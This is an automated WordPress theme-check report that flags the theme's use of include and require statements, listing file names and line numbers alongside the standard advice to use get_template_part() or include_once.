    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    Line 4: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : load.php
    Line 3: 
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : WpLatteFunctions.php
    Line 9: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ait-twitter-widget.php
    Line 78: include_once(ABSPATH . WPINC . '/feed.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ait-flickr-widget.php
    Line 69: include_once(ABSPATH . WPINC . '/feed.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : AitSkinsListTable.php
    Line 10: require_once(ABSPATH . 'wp-admin/includes/class-wp-themes-list-table.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : ait-admin.php
    Line 1114: require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');
    Line 1306: require_once(ABSPATH . 'wp-admin/includes/class-pclzip.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header.php
    Line 148: {include 'snippets/branding-header.php'}
    Line 161: {include 'snippets/map-single-javascript.php'}
    Line 164: {include 'snippets/map-javascript.php'}
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : footer.php
    Line 13: {include 'snippets/branding-footer.php'}
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : map-javascript.php
    Line 175: {include 'ajaxfunctions-javascript.php'}
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : map-single-javascript.php
    Line 208: {include 'ajaxfunctions-javascript.php'}
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : branding-header.php
    Line 32: {include 'social-icons.php'}
    Line 34: {include 'wpml-flags.php'}
    Line 36: <!-- {include 'search-form.php'} -->
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : content-loop-dir-search.php
    Line 1: {include 'sorting.php'}
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : taxonomy-ait-dir-item-location.php
    Line 52: {include 'snippets/sorting.php'}
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : taxonomy-ait-dir-item-category.php
    Line 52: {include 'snippets/sorting.php'}
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes